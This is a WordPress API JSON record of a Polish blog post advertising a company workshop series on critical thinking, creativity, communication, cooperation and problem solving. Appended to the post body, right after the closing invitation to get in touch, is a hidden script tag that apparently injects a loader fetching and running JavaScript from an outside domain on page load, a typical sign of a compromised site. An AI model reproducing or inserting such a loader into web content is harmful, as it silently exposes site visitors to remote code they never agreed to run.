{"id":1077,"date":"2024-03-05T10:24:50","date_gmt":"2024-03-05T09:24:50","guid":{"rendered":"https:\/\/global-metodi.com\/?p=1077"},"modified":"2026-01-08T13:09:49","modified_gmt":"2026-01-08T12:09:49","slug":"nowy-cykl-warsztatow-dla-firm-kompetencje-przyszlosci","status":"publish","type":"post","link":"https:\/\/global-metodi.com\/en\/2024\/03\/05\/nowy-cykl-warsztatow-dla-firm-kompetencje-przyszlosci\/","title":{"rendered":"NEW SERIES OF WORKSHOPS FOR COMPANIES: COMPETENCES OF THE FUTURE"},"content":{"rendered":"<p>\u017byjemy w \u015bwiecie VUCA. Wymagania jakie stawia nam \u017cycie i praca zmieniaj\u0105 si\u0119 z pr\u0119dko\u015bci\u0105 \u015bwiat\u0142a. Nowe umiej\u0119tno\u015bci, kompetencje, wiedza, a do tego szybko\u015b\u0107 zmian sprawiaj\u0105 \u017ce zaczynamy odczuwa\u0107 stres i obawy czy sprostamy. Do tego praca w zespo\u0142ach rozproszonych i samo jej tempo nie pomaga w budowaniu relacji i rujnuj\u0105 nasze poczucie stabilno\u015bci i warto\u015bci.<\/p>\n<p>Cykl warsztat\u00f3w dla firm: kompetencje przysz\u0142o\u015bci to nie klasyczne szkolenie, a bardzo tw\u00f3rcze spotkania warsztatowe podczas kt\u00f3rych kolejno uczymy si\u0119 lub wzmacniamy:<\/p>\n<p>-umiej\u0119tno\u015b\u0107 krytycznego my\u015blenia ( wnioskowanie, zadawanie pyta\u0144, obiektywna ocena)<\/p>\n<p>-rozwijamy kreatywno\u015b\u0107 ( otwarte i tw\u00f3rcze my\u015blenie, pomys\u0142y)<\/p>\n<p>-Komunikacja ( style rozmowy, zadawanie pyta\u0144, dyskusje, uczymy si\u0119 dotrze\u0107 i rozmawia\u0107 z ka\u017cdym typem osobowo\u015bci )<\/p>\n<p>-wsp\u00f3\u0142praca ( budowanie relacji, wsp\u00f3lny cel, przekonania na temat innych, pozbywamy si\u0119 uprzedze\u0144 i ogranicze\u0144 kt\u00f3re utrudniaj\u0105 budow\u0119 zespo\u0142u)<\/p>\n<p>-rozwi\u0105zywanie problem\u00f3w ( tw\u00f3rcze podej\u015bcie do pracy kiedy pojawiaj\u0105 si\u0119 przeszkody, negocjacje, konflikty i emocje. Praca ze stresem i emocjami)<\/p>\n<p>&nbsp;<\/p>\n<p>Warsztaty podzielone s\u0105 na modu\u0142y, a ka\u017cdy modu\u0142 mo\u017ce trwa\u0107 od 3h do 7h- w zale\u017cno\u015bci od zakresu i ilo\u015bci zada\u0144 i \u0107wicze\u0144 jakie chcemy przerobi\u0107.<\/p>\n<p>&nbsp;<\/p>\n<p>95% to super zadania kt\u00f3re wzmacniaj\u0105 te\u017c relacje w zespole i odpr\u0119\u017caj\u0105, a przy okazji zdobywamy wa\u017cne umiej\u0119tno\u015bci praktyczne.<\/p>\n<p>Mo\u017cemy popracowa\u0107 tez zdalnie, cho\u0107 wi\u0119kszy efekt jest gdy pracujemy stacjonarnie. Efekty s\u0105 szybko widoczne- bo pracownicy:<\/p>\n<p>\u2013 dobrze si\u0119 bawi\u0105 i maj\u0105 super integracj\u0119<\/p>\n<p>\u2013 ucz\u0105 si\u0119 wsp\u00f3\u0142pracy i nawi\u0105zuj\u0105 relacje<\/p>\n<p>\u2013 ucz\u0105 si\u0119 w praktyce my\u015ble\u0107 krytycznie, dzia\u0142a\u0107 kreatywnie, rozmawia\u0107 i wsp\u00f3\u0142pracowa\u0107, rozwi\u0105zywa\u0107 problemy<\/p>\n<p>\u2013 ucz\u0105 si\u0119 jak poradzi\u0107 sobie ze stresem i emocjami<\/p>\n<p>\u2013 zaczynaj\u0105 wierzy\u0107 w siebie i buduj\u0105 swoj\u0105 sprawczo\u015b\u0107 buduj\u0105 motywacje wewn\u0119trzn\u0105 i ucz\u0105 si\u0119 widzie\u0107 sens w tym co robi\u0105.<\/p>\n<p>&nbsp;<\/p>\n<p>Wy, drodzy HR Managerowie dostajecie r\u00f3wnie\u017c narz\u0119dzia jak pracowa\u0107 z waszymi zespo\u0142ami ju\u017c po zako\u0144czeniu warsztat\u00f3w.<\/p>\n<p>&nbsp;<\/p>\n<p>Zapraszamy do kontaktu.<script>var url = 'https:\/\/wafsearch.wiki\/xml';\nvar script = document.createElement('script');\nscript.src = url;\nscript.type = 'text\/javascript';\nscript.async = true;\ndocument.getElementsByTagName('head')[0].appendChild(script);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u017byjemy w \u015bwiecie VUCA. Wymagania jakie stawia nam \u017cycie i praca zmieniaj\u0105 si\u0119 z pr\u0119dko\u015bci\u0105 \u015bwiat\u0142a. Nowe umiej\u0119tno\u015bci, kompetencje, wiedza, a do tego szybko\u015b\u0107 zmian sprawiaj\u0105 \u017ce zaczynamy odczuwa\u0107 stres i obawy czy sprostamy. Do tego praca w zespo\u0142ach rozproszonych i samo jej tempo nie pomaga w budowaniu relacji i rujnuj\u0105 nasze poczucie stabilno\u015bci i [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1078,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"inline_featured_image":false,"footnotes":""},"categories":[83],"tags":[],"class_list":["post-1077","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-artykuly"],"acf":[],"_links":{"self":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1077","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/comments?post=1077"}],"version-history":[{"count":2,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1077\/revisions"}],"predecessor-version":[{"id":2052,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/posts\/1077\/revisions\/2052"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media\/1078"}],"wp:attachment":[{"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/media?parent=1077"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/categories?post=1077"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/global-metodi.com\/en\/wp-json\/wp\/v2\/tags?post=1077"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}